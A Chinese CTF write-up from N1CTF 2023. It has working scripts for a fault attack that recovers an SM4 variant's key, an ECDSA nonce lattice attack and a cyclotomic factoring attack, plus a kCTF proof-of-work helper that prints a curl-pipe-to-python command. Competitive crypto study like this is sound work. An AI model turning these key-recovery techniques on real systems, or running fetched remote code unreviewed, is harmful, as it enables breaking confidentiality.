HASHTEAM N1CTF 2023 WP

N1CTF2023

排名25，卡线

Crypto

warmup

nonce有问题

数学模型：

e=2^128*e1+e2

d=2^128*d1+d2

nonce=2^128*e1+d1

s=(e+rd)/nonce mod n

展开

s2^{128*e1+s*d1=2}128e1+e2+r(2^128d1+d2) mod n

(s-1)2^{128*e1+(s-r*2}128)d1-r*d2-e2==0 mod n

造格子

注意到d最高2^255一定为1，卡下界

SM4

差分故障打四轮，直接上脚本

from copy import copy

DB = [[46, 38, 43, 106, 114, 176, 12, 69, 1, 21, 82, 27, 184, 109, 170, 0, 179, 25, 4, 145, 33, 61, 66, 223, 85, 238, 22, 23, 59, 64, 19, 174, 180, 240, 111, 128, 187, 65, 72, 35, 77, 221, 157, 172, 13, 197, 44, 229, 226, 130, 220, 49, 198, 24, 103, 76, 39, 211, 191, 115, 165, 206, 30, 7, 98, 156, 205, 181, 89, 252, 58, 138, 253, 104, 212, 236, 54, 224, 166, 155, 118, 8, 93, 140, 28, 95, 225, 248, 80, 182, 112, 63, 192, 116, 47, 217, 91, 84, 144, 53, 124, 117, 16, 73, 218, 254, 188, 18, 11, 107, 222, 5, 52, 129, 194, 173, 81, 9, 137, 246, 242, 143, 175, 147, 74, 195, 41, 133, 207, 120, 92, 17, 164, 169, 171, 48, 241, 57, 31, 83, 55, 96, 29, 185, 68, 232, 70, 148, 243, 209, 100, 214, 37, 244, 219, 131, 203, 139, 126, 183, 167, 199, 101, 159, 50, 230, 168, 45, 149, 123, 119, 87, 134, 75, 127, 67, 250, 228, 247, 135, 113, 60, 62, 177, 150, 121, 162, 227, 142, 34, 178, 42, 15, 160, 161, 216, 235, 234, 163, 186, 154, 141, 233, 208, 78, 151, 204, 190, 86, 152, 245, 239, 108, 196, 158, 210, 99, 237, 251, 3, 40, 90, 125, 132, 36, 215, 193, 71, 255, 200, 102, 56, 32, 136, 146, 79, 97, 110, 249, 20, 202, 231, 122, 88, 94, 6, 153, 105, 14, 10, 2, 201, 189, 213, 51, 26], [246, 56, 103, 21, 181, 105, 216, 118, 145, 183, 169, 211, 27, 242, 190, 162, 237, 179, 244, 199, 206, 35, 120, 38, 95, 133, 25, 231, 3, 70, 40, 238, 223, 45, 127, 245, 4, 15, 250, 11, 52, 215, 142, 129, 167, 191, 61, 241, 188, 226, 249, 146, 221, 184, 104, 109, 157, 39, 176, 114, 236, 240, 254, 253, 251, 158, 198, 37, 42, 19, 87, 230, 153, 43, 77, 76, 208, 26, 32, 18, 150, 195, 122, 90, 80, 148, 197, 44, 83, 51, 166, 75, 88, 73, 64, 252, 20, 119, 46, 201, 196, 121, 222, 115, 22, 128, 164, 102, 97, 5, 217, 172, 177, 81, 58, 234, 168, 60, 29, 124, 147, 101, 224, 151, 130, 65, 98, 225, 155, 91, 108, 152, 140, 219, 9, 24, 189, 203, 138, 160, 59, 48, 193, 14, 69, 159, 233, 53, 135, 143, 33, 165, 41, 132, 57, 187, 227, 93, 200, 1, 0, 149, 137, 194, 23, 117, 170, 247, 17, 255, 92, 205, 47, 213, 136, 66, 2, 209, 6, 110, 78, 63, 28, 74, 235, 229, 30, 139, 154, 94, 131, 49, 86, 185, 163, 79, 68, 8, 72, 174, 99, 111, 141, 107, 210, 34, 207, 239, 106, 144, 228, 186, 89, 204, 55, 54, 171, 161, 100, 16, 13, 7, 50, 182, 112, 173, 212, 31, 214, 85, 156, 180, 175, 116, 248, 243, 36, 82, 134, 123, 220, 10, 125, 96, 67, 62, 12, 202, 126, 71, 84, 113, 232, 178, 192, 218], [46, 38, 43, 106, 114, 176, 12, 69, 1, 21, 82, 27, 184, 109, 170, 0, 179, 25, 4, 145, 33, 61, 66, 223, 85, 238, 22, 23, 59, 64, 19, 174, 180, 240, 111, 128, 187, 65, 72, 35, 77, 221, 157, 172, 13, 197, 44, 229, 226, 130, 220, 49, 198, 24, 103, 76, 39, 211, 191, 115, 165, 206, 30, 7, 98, 156, 205, 181, 89, 252, 58, 138, 253, 104, 212, 236, 54, 224, 166, 155, 118, 8, 93, 140, 28, 95, 225, 248, 80, 182, 112, 63, 192, 116, 47, 217, 91, 84, 144, 53, 124, 117, 16, 73, 218, 254, 188, 18, 11, 107, 222, 5, 52, 129, 194, 173, 81, 9, 137, 246, 242, 143, 175, 147, 74, 195, 41, 133, 207, 120, 92, 17, 164, 169, 171, 48, 241, 57, 31, 83, 55, 96, 29, 185, 68, 232, 70, 148, 243, 209, 100, 214, 37, 244, 219, 131, 203, 139, 126, 183, 167, 199, 101, 159, 50, 230, 168, 45, 149, 123, 119, 87, 134, 75, 127, 67, 250, 228, 247, 135, 113, 60, 62, 177, 150, 121, 162, 227, 142, 34, 178, 42, 15, 160, 161, 216, 235, 234, 163, 186, 154, 141, 233, 208, 78, 151, 204, 190, 86, 152, 245, 239, 108, 196, 158, 210, 99, 237, 251, 3, 40, 90, 125, 132, 36, 215, 193, 71, 255, 200, 102, 56, 32, 136, 146, 79, 97, 110, 249, 20, 202, 231, 122, 88, 94, 6, 153, 105, 14, 10, 2, 201, 189, 213, 51, 26], [206, 165, 193, 37, 187, 108, 248, 246, 44, 139, 152, 201, 173, 214, 77, 72, 97, 35, 70, 24, 3, 79, 178, 175, 30, 66, 18, 198, 114, 125, 32, 210, 180, 224, 235, 28, 62, 136, 149, 227, 82, 147, 90, 119, 85, 199, 126, 121, 51, 20, 88, 4, 75, 101, 38, 151, 109, 115, 110, 223, 43, 17, 146, 249, 226, 26, 222, 232, 87, 195, 200, 131, 245, 81, 113, 157, 220, 12, 16, 184, 204, 192, 84, 31, 197, 215, 129, 94, 93, 181, 218, 194, 65, 148, 158, 112, 221, 34, 25, 33, 243, 78, 10, 67, 209, 6, 252, 196, 237, 42, 172, 164, 161, 244, 111, 191, 46, 170, 128, 69, 183, 212, 60, 99, 8, 122, 49, 86, 247, 96, 179, 57, 135, 106, 0, 58, 100, 202, 55, 98, 1, 254, 53, 155, 156, 83, 132, 9, 19, 171, 48, 95, 166, 68, 22, 104, 7, 14, 142, 211, 213, 50, 150, 234, 182, 203, 217, 64, 185, 163, 73, 45, 41, 118, 103, 134, 186, 230, 241, 250, 52, 207, 162, 124, 140, 116, 167, 228, 92, 63, 47, 176, 239, 238, 5, 216, 225, 188, 137, 160, 80, 231, 102, 11, 89, 91, 59, 23, 240, 105, 153, 177, 138, 219, 174, 123, 36, 159, 76, 21, 56, 242, 61, 107, 133, 143, 154, 130, 233, 15, 145, 255, 13, 189, 120, 251, 236, 117, 208, 190, 169, 168, 74, 229, 54, 2, 39, 127, 29, 253, 141, 71, 205, 40, 144, 27]]
WDB=DB[2:]+DB[:2]

i2l = lambda x: [(x >> 24) & 0xff, (x >> 16) & 0xff, (x >> 8) & 0xff, x & 0xff]
l2i = lambda x: (x[0] << 24)|(x[1] << 16)|(x[2] << 8)|x[3]
rotl32 = lambda x, n: ((x << n) & 0xffffffff) | ((x >> (32-n)) & 0xffffffff)
rotl8 = lambda x, n: ((x << n) & 0xff) | ((x >> (8-n)) & 0xff)
xor = lambda x, y: list(map(lambda a, b: a ^ b, x, y))
pad = lambda data, block=16: data + [16 - len(data) % block]*(16 - len(data) % block)



SM4_BOXES_TABLE = [
    0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c,
    0x05, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86,
    0x06, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed,
    0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa,
    0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c,
    0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb,
    0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25,
    0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87, 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52,
    0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38,
    0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34,
    0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82,
    0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45,
    0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf,
    0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0x0a, 0xc1,
    0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89,
    0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
    0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39,
    0x48,
]

SM4_FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]

SM4_CK = [
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

Dance_Box=DB
def dance():
    global Dance_Box
    Dance_Box = Dance_Box[2:]+Dance_Box[:2]

def round_key(k):
    ar = [SM4_BOXES_TABLE[i] for i in i2l(k)]
    b = l2i(ar)
    return b ^ rotl32(b, 13) ^ rotl32(b, 23)

def expand_key(master_key):
    master_key = list(master_key)
    MK = [l2i(master_key[:4]), l2i(master_key[4:8]),\
           l2i(master_key[8:12]), l2i(master_key[12:])]
    k = [0]*36
    k[0:4] = xor(MK, SM4_FK)
    for i in range(32):
        k[i + 4] = k[i] ^ (round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
    return k[4:]

def tfunc(bk):
    ar = [SM4_BOXES_TABLE[i] for i in i2l(bk)]
    b = l2i(ar)
    return b ^ rotl32(b, 2) ^ rotl32(b, 10) ^ rotl32(b, 18) ^ rotl32(b, 24)

def invtfunc(b):
    b=d(b)
    ar=i2l(b)
    bk = [SM4_BOXES_TABLE.index(i) for i in ar]
    bk=l2i(bk)
    return bk

def pfunc(bk):
    res = []
    for i in range(4):
        sbox = Dance_Box[i]
        ar = [sbox[_] for _ in i2l(bk[i])]
        b = [rotl8(ar[i], i+3) for i in range(4)]
        res.append(l2i(b))
    return res

def invpfunc(res,D=DB):
    bk = []
    for i in range(4):
        sbox = D[i]
        b=i2l(res[i])
        ar=[rotl8(b[j], 8-(j+3)) for j in range(4)]
        bki=[sbox.index(_) for _ in ar]
        bk.append(l2i(bki))
    return bk


def one_round(bk, rk, dt):
    out = []
    buf = [0]*36
    buf[:4] = [l2i(bk[:4]), l2i(bk[4:8]), l2i(bk[8:12]), l2i(bk[12:])]
    for i in range(32):
        if dt == i:
            dance()
        buf[i+4] = buf[i] ^ tfunc(buf[i+1]^buf[i+2]^buf[i+3]^rk[i])
        buf[i+1:i+5] = pfunc(buf[i+1:i+5])
    dance()
    for _ in range(4):
        out += i2l(buf[-1-_])
    return out




def crypt_ecb(pt, key, dance_time=-1):
    pt = pad(list(pt))
    rk = expand_key(key)
    block = [pt[_:_+16] for _ in range(0, len(pt), 16)]
    result = b''
    for i in block:
        result += bytes(one_round(i, rk, dt=dance_time))
    return result


t=lambda b:b ^ rotl32(b, 2) ^ rotl32(b, 10) ^ rotl32(b, 18) ^ rotl32(b, 24)
d=lambda b:rotl32(b,30)^rotl32(b,24)^rotl32(b,22)^rotl32(b,18)^rotl32(b,16)^rotl32(b,14)^rotl32(b,12)^rotl32(b,8)^rotl32(b,4)^rotl32(b,2)^b
from random import *

ct = ['e5a304ea2ffc53a1ff94337c2b2ae5368b46c6da3cc37f8438eb967b29249d4e', '6733baa353d4cfc4ff94337c58dc7fdbd6df83f4fbf6e5e838eb967b98d7e8d3', 'e77dbfe7868701fbd7072e6358dc7fdba067d296707bad1b0f4541dc98d7e8d3', '54b772d532556d5573a6ab667c9ff76857b5efc3b62130668e46a79b163138e4', '47339f6738dd9f4c9581fbd496dde76ea320d95b457e0373cddb910acc41fe35']    


#for i in range(100):
#    a=getrandbits(32)
#    b=getrandbits(32)
#    assert(tfunc(a)^tfunc(b)==tfunc(a^b))

ct0t=bytes.fromhex(ct[0][:32])
ct0f=bytes.fromhex(ct[1][:32])
#ct1t=bytes.fromhex(ct[0][32:])
#ct1f=bytes.fromhex(ct[1][32:])
buft=[0]*36
buff=[0]*36
for i in range(4):
    buft[-i-1]=l2i(ct0t[i*4:(i+1)*4])
    buff[-i-1]=l2i(ct0f[i*4:(i+1)*4])
buft[32:]=invpfunc(buft[32:],WDB)
buff[32:]=invpfunc(buff[32:],WDB)

#assert(invpfunc(buft[31:35],DB)[1:]==invpfunc(buff[31:35],WDB)[1:])

dt=i2l(d(buff[35]^buft[35]))
print(dt)
dt=i2l(d(buff[35])^d(buft[35]))
print(dt)



rkl0=[set() for i in range(4)]


print((dt))

print(i2l(buff[32]^buft[32]))

print(i2l(buff[33]^buft[33]))

print(i2l(buff[34]^buft[34]))

ict=i2l(buft[32]^buft[34]^buft[33])
icf=i2l(buff[32]^buff[34]^buff[33])

print(ict,icf)
for i in range(4):
    for guess in range(256):
        if SM4_BOXES_TABLE[ict[i]^guess]^SM4_BOXES_TABLE[icf[i]^guess]==dt[i]:
            rkl0[i].add(guess)

print(rkl0)            

rkl0_1=copy(rkl0)
print()
#ct0t=bytes.fromhex(ct[0][:32])
#ct0f=bytes.fromhex(ct[1][:32])
ct0t=bytes.fromhex(ct[0][32:])
ct0f=bytes.fromhex(ct[1][32:])
buft=[0]*36
buff=[0]*36
for i in range(4):
    buft[-i-1]=l2i(ct0t[i*4:(i+1)*4])
    buff[-i-1]=l2i(ct0f[i*4:(i+1)*4])
buft[32:]=invpfunc(buft[32:],WDB)
buff[32:]=invpfunc(buff[32:],WDB)

assert(invpfunc(buft[31:],DB)[1:]==invpfunc(buff[31:],WDB)[1:])

dt=i2l(d(buff[35]^buft[35]))

rkl0=[set() for i in range(4)]

print((dt))

print(i2l(buff[32]^buft[32]))

print(i2l(buff[33]^buft[33]))

print(i2l(buff[34]^buft[34]))

ict=i2l(buft[32]^buft[34]^buft[33])
icf=i2l(buff[32]^buff[34]^buff[33])

print(ict,icf)
for i in range(4):
    for guess in range(256):
        if SM4_BOXES_TABLE[ict[i]^guess]^SM4_BOXES_TABLE[icf[i]^guess]==dt[i]:
            rkl0[i].add(guess)

print(rkl0)            

rk=[]

for rki in range(4):
    print(rki)
    ctt=[bytes.fromhex(ct[rki][:32]),bytes.fromhex(ct[rki][32:])]
    ctf=[bytes.fromhex(ct[rki+1][:32]),bytes.fromhex(ct[rki+1][32:])]    
    buft=[0]*36
    buff=[0]*36
    rkl=[[set(),set()] for i in range(4)]
    for times in range(2):
        ct0t=ctt[times]    
        ct0f=ctf[times]    
        for i in range(4):
            buft[-i-1]=l2i(ct0t[i*4:(i+1)*4])
            buff[-i-1]=l2i(ct0f[i*4:(i+1)*4])
        buft[32:]=invpfunc(buft[32:],WDB)
        buff[32:]=invpfunc(buff[32:],WDB)
        for i in range(rki):
            buff[31-i] = buff[35-i] ^ tfunc(buff[34-i]^buff[33-i]^buff[32-i]^rk[i])
            buff[31-i:35-i]=invpfunc(buff[31-i:35-i],WDB)
            buft[31-i] = buft[35-i] ^ tfunc(buft[34-i]^buft[33-i]^buft[32-i]^rk[i])
            buft[31-i:35-i]=invpfunc(buft[31-i:35-i],WDB)
        assert(invpfunc(buft[31-rki:],DB)[1:]==invpfunc(buff[31-rki:],WDB)[1:])
    
        ict=i2l(buft[32-rki]^buft[34-rki]^buft[33-rki])
        icf=i2l(buff[32-rki]^buff[34-rki]^buff[33-rki])
        dt=i2l(d(buff[35-rki]^buft[35-rki]))

        for i in range(4):
            for guess in range(256):
                if SM4_BOXES_TABLE[ict[i]^guess]^SM4_BOXES_TABLE[icf[i]^guess]==dt[i]:
                    rkl[i][times].add(guess)
        print(rkl)

    rkn=[(rkl[i][0]&rkl[i][1]) for i in range(4)]
    print(rkn)
    assert(all([len(i)==1 for i in rkn]))
    rkn=[list(i)[0] for i in rkn]
    rk.append(l2i(rkn))
    
print(rk[::-1])
def inv_expand_key(rk):
    k = [0]*36
    k[-4:] = rk
    for i in range(32):
        k[-i - 5] = k[-i-1] ^ (round_key(k[-i - 2] ^ k[-i - 3] ^ k[-i -4] ^ SM4_CK[-i-1]))
    MK=xor(k[0:4],SM4_FK)    
    return MK,k[4:]

from Crypto.Util.number import *


MK,rks=inv_expand_key(rk[::-1])

print(MK,rks)    


def inv_one_round(bk, rk, dt):
    out = []
    buf = [0]*36
    buf[:4] = [l2i(bk[:4]), l2i(bk[4:8]), l2i(bk[8:12]), l2i(bk[12:])]
    buf=buf[::-1]
    dance()
    for i in range(31,-1,-1):
        buf[i+1:i+5] = invpfunc(buf[i+1:i+5],Dance_Box)
        buf[i] = buf[i+4] ^ tfunc(buf[i+1]^buf[i+2]^buf[i+3]^rk[i])
        if dt == i:
            dance()
        
        
    for _ in range(4):
        out += i2l(buf[_])
    return out

print(bytes(inv_one_round(bytes.fromhex(ct[0][:32]),rks,31))+bytes(inv_one_round(bytes.fromhex(ct[0][32:]),rks,31)))
exit()

for i in range(10):
    key=long_to_bytes(getrandbits(128))
    rk=expand_key(key)
    ans=one_round(key,rk,31)
    key1=inv_one_round(ans,rk,31)
    print(key,key1)

e20k

注意到n=pqr=pq(2q-1) ->2n=p2q(2q-1)=pr(r+1)，一眼分圆多项式，找个脚本，分解n

#!/usr/bin/env sage
from Crypto.Util.number import *


P.<x, y> = PolynomialRing(ZZ)
R.<z> = PolynomialRing(ZZ)
z = R.gens()[0]
def calculate_eta_all(eta, aa, bb, m, k):
    eta_all = []
    for i in range(k):
        temp = eta^(aa^i)
        add = temp
        for _ in range((m-1)//k - 1):
            add = add^bb
            temp += add
        eta_all.append(temp)
    return eta_all

def calculate_irreducible_polynomial(eta_all, m):
    h = 1
    for i in range(k):
        h *= (y - eta_all[i].lift())

    d = sum([x^i for i in range(m)])
    f_irreducible = h % d

    return f_irreducible, d

def pad_polynomial_coefficients(f, m):
    tmp = f.list()
    while len(tmp) < m:
        tmp.append(0)
    return tmp
    
def Factoring_with_Cyclotomic_Polynomials(k, n):
    
    Phi = cyclotomic_polynomial(k)
    Psi = (z^k-1)//(cyclotomic_polynomial(k))
    print('Cyclotomic_Polynomials Phi:', Phi)
    print('Psi:', Psi)
    m = 1
    while True:
        useful = False
        while not useful:
            m += k
            if not isPrime(m):
                continue

            aa = primitive_root(m)
            ff = x^m - 1
            Q = P.quo(ff)
            eta = Q.gens()[0]
            for bb in range(2, m):
                if (bb^((m-1)//k)-1)//(bb-1) % m:
                    continue
                eta_all = calculate_eta_all(eta, aa, bb, m, k)
                f_irreducible, d = calculate_irreducible_polynomial(eta_all, m)
                if f_irreducible.subs(y=0) in ZZ:
                    useful = True
                    break


        eta0 = eta_all[0]
        eta0_pow = []
        for i in range(2, k):
            eta0_pow_i = (eta0^i).lift().subs(x=z)
            constant_term = eta0_pow_i.list()[0]
            if constant_term != 0:
                dd = (d-1).subs(x=z)
                eta0_pow_i = eta0_pow_i - constant_term - constant_term * dd
            eta0_pow.append(eta0_pow_i)

        coeff = []
        for i in range(k):
            coeff.append(pad_polynomial_coefficients(eta_all[i].lift().subs(x=z), m))

        A = matrix(QQ, coeff)
        terget = [[-1]*k, [1] + [0]*(k-1)]
        for i in range(k-2):
            terget.append(A.solve_left(vector(pad_polynomial_coefficients(eta0_pow[i], m))))

        B = matrix(QQ, terget)

        U.<w> = PolynomialRing(QQ)
        w = U.gens()[0]
        eta1 = U(list((B^-1)[1]))
        f = f_irreducible.subs(y=w)
        V = U.quo(f)
        eta1 = V(eta1)

        C = matrix(QQ, k, k)
        C[0, 0] = 1
        for i in range(1, k):
            tmp = eta1^i
            C[i] = pad_polynomial_coefficients(tmp, k)

        K.<s> = PolynomialRing(Zmod(n))
        f_modulo = f_irreducible.subs(y=s)
        K_quo = K.quo(f_modulo)

        f_ZZ = f_irreducible.subs(y=z)
        try:
            sigma = matrix(Zmod(n), C)
        except:
            continue
        while True:
            g = R.random_element(k-1)
            try:
                kk, _, h = xgcd(f_ZZ, g)
                h = inverse_mod(int(kk), n) * h
                break
            except:
                continue
        g = g.subs(y=x)       
        g_Q = K_quo(g)
        h_Q = K_quo(h)
        assert g_Q * h_Q == 1
        
        Psi_coefficients = Psi.coefficients()
        Psi_monomials = Psi.monomials()[::-1]
        if Psi_coefficients[0] < 0:
            yy = h_Q^(-Psi_coefficients[0]) 
        else:
            yy = g_Q^(Psi_coefficients[0]) 

        for i in range(1, len(Psi_monomials)):
            if Psi_coefficients[i] < 0:
                yy *= K_quo(list(vector(list(h_Q^(-Psi_coefficients[i]))) * Psi_monomials[i](sigma)))
            else:
                yy *= K_quo(list(vector(list(g_Q^(Psi_coefficients[i]))) * Psi_monomials[i](sigma)))
        yy = yy^n
        if gcd(yy[1], n) > 2**20:
            return gcd(yy[1], n)


if __name__ == "__main__":
    k = 2  # the k-th cyclotomic_polynomial
    Phi = cyclotomic_polynomial(k)
    N = int(input())
    pp = Factoring_with_Cyclotomic_Polynomials(k, N)
    assert not N % int(pp)
    r=int(pp)
    q=(r+1)//2
    p=N//(q*r)
    assert is_prime(r)
    assert is_prime(q)
    assert is_prime(p)
    assert N%p==0
    assert is_prime(q)
    assert is_prime(r)

    E=EllipticCurve(Zmod(N), [3, 7])
    y2=lambda x :x^3+3*x+7
    fs=[p,q,r]
    E1=EllipticCurve(Zmod(p), [3, 7])
    E2=EllipticCurve(Zmod(q), [3, 7])
    E3=EllipticCurve(Zmod(r), [3, 7])
    n1=E1.order()
    n2=E2.order()
    n3=E3.order()
    ns=[n1,n2,n3]
    try:
        assert(all([ni%3==0 for ni in ns]))
    except:
        print("wrong")
        exit()
    O1=E1.random_point()*n1
    P1=E1.random_point()
    h1=n1//3
    while h1*P1==O1:
        P1=E1.random_point()
        
    O2=E2.random_point()*n2
    P2=E2.random_point()
    h2=n2//3
    while h2*P2==O2:
        P2=E2.random_point()

    O3=E3.random_point()*n3
    P3=E3.random_point()
    h3=n3//3
    while h3*P3==O3:
        P3=E3.random_point()
        
    Qs=[h1*P1,h2*P2,h3*P3]
    xs=[int(Qi.xy()[0]) for Qi in Qs]
    x=crt(xs,fs)
    ys=[int(Qi.xy()[1]) for Qi in Qs]
    y=crt(ys,fs)
   
    print(x,",",y)
    print(E(x,y))
    print(E(x,y)*4)
    

发现迭代有个A:=4*A的结构，来都来了，分解构造一下A为阶是3的点，不过需要多爆破pow（校园网被制裁了，获取了一份本地pow脚本来用）

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import base64
import os
import secrets
import socket
import sys
import hashlib

try:
    import gmpy2
    HAVE_GMP = True
except ImportError:
    HAVE_GMP = False
    sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n")

VERSION = 's'
MODULUS = 2**1279-1
CHALSIZE = 2**128

SOLVER_URL = 'https://goo.gle/kctf-pow'

def python_sloth_root(x, diff, p):
    exponent = (p + 1) // 4
    for i in range(diff):
        x = pow(x, exponent, p) ^ 1
    return x

def python_sloth_square(y, diff, p):
    for i in range(diff):
        y = pow(y ^ 1, 2, p)
    return y

def gmpy_sloth_root(x, diff, p):
    exponent = (p + 1) // 4
    for i in range(diff):
        x = gmpy2.powmod(x, exponent, p).bit_flip(0)
    return int(x)

def gmpy_sloth_square(y, diff, p):
    y = gmpy2.mpz(y)
    for i in range(diff):
        y = gmpy2.powmod(y.bit_flip(0), 2, p)
    return int(y)

def sloth_root(x, diff, p):
    if HAVE_GMP:
        return gmpy_sloth_root(x, diff, p)
    else:
        return python_sloth_root(x, diff, p)

def sloth_square(x, diff, p):
    if HAVE_GMP:
        return gmpy_sloth_square(x, diff, p)
    else:
        return python_sloth_square(x, diff, p)

def encode_number(num):
    size = (num.bit_length() // 24) * 3 + 3
    return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')

def decode_number(enc):
    return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')

def decode_challenge(enc):
    dec = enc.split('.')
    if dec[0] != VERSION:
        raise Exception('Unknown challenge version')
    return list(map(decode_number, dec[1:]))

def encode_challenge(arr):
    return '.'.join([VERSION] + list(map(encode_number, arr)))

def get_challenge(diff):
    x = secrets.randbelow(CHALSIZE)
    return encode_challenge([diff, x])

def solve_challenge(chal):
    [diff, x] = decode_challenge(chal)
    y = sloth_root(x, diff, MODULUS)
    return encode_challenge([y])

def can_bypass(chal, sol):
    from ecdsa import VerifyingKey
    from ecdsa.util import sigdecode_der
    if not sol.startswith('b.'):
        return False
    sig = bytes.fromhex(sol[2:])
    with open("/kctf/pow-bypass/pow-bypass-key-pub.pem", "r") as fd:
        vk = VerifyingKey.from_pem(fd.read())
    return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der)

def verify_challenge(chal, sol, allow_bypass=True):
    if allow_bypass and can_bypass(chal, sol):
        return True
    [diff, x] = decode_challenge(chal)
    [y] = decode_challenge(sol)
    res = sloth_square(y, diff, MODULUS)
    return (x == res) or (MODULUS - x == res)

def usage():
    sys.stdout.write('Usage:\n')
    sys.stdout.write('Solve pow: {} solve $challenge\n')
    sys.stdout.write('Check pow: {} ask $difficulty\n')
    sys.stdout.write('  $difficulty examples (for 1.6GHz CPU) in fast mode:\n')
    sys.stdout.write('             1337:   1 sec\n')
    sys.stdout.write('             31337:  30 secs\n')
    sys.stdout.write('             313373: 5 mins\n')
    sys.stdout.flush()
    sys.exit(1)

def main():
    if len(sys.argv) != 3:
        usage()
        sys.exit(1)

    cmd = sys.argv[1]

    if cmd == 'ask':
        difficulty = int(sys.argv[2])

        if difficulty == 0:
            sys.stdout.write("== proof-of-work: disabled ==\n")
            sys.exit(0)


        challenge = get_challenge(difficulty)

        sys.stdout.write("== proof-of-work: enabled ==\n")
        sys.stdout.write("please solve a pow first\n")
        sys.stdout.write("You can run the solver with:\n")
        sys.stdout.write("    python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge))
        sys.stdout.write("===================\n")
        sys.stdout.write("\n")
        sys.stdout.write("Solution? ")
        sys.stdout.flush()
        solution = ''
        with os.fdopen(0, "rb", 0) as f:
            while not solution:
                line = f.readline().decode("utf-8")
                if not line:
                    sys.stdout.write("EOF")
                    sys.stdout.flush()
                    sys.exit(1)
                solution = line.strip()

        if verify_challenge(challenge, solution):
            sys.stdout.write("Correct\n")
            sys.stdout.flush()
            sys.exit(0)
        else:
            sys.stdout.write("Proof-of-work fail")
            sys.stdout.flush()

    elif cmd == 'solve':
        challenge = sys.argv[2]
        solution = solve_challenge(challenge)

        if verify_challenge(challenge, solution, False):
            sys.stderr.write("Solution: \n".format(solution))
            sys.stderr.flush()
            sys.stdout.write(solution)
            sys.stdout.flush()
            sys.stderr.write("\n")
            sys.stderr.flush()
            sys.exit(0)
    else:
        usage()

    sys.exit(1)

if __name__ == "__main__":
    main()

跑主程序爆破参数

from pwn import *
from os import *
while 1:
    p=remote("121.41.9.20","6665")
    p.recvuntil(b"kctf-pow)")
    s=p.recvline()
    q=popen(" python3 n1pow.py "+s.decode()).read()
    p.sendline(q)
    p.recvuntil(b"N =")
    s=p.recvline()
    N=int(s)
    q=process("c.sage")
    q.sendline(str(N).encode())
    print(q.recvline())
    print(q.recvline())
    s=(q.recvline())
    print(s)
    if b"wrong" in s:
        q.close()
        p.close()
        continue
    p.sendline(s)
    print(q.recvline())
    print(q.recvline())

    p.recvuntil(b">")
    f=open("ans","w")
    for i in range(5):
        s=p.recvline().decode()
        f.write(s)
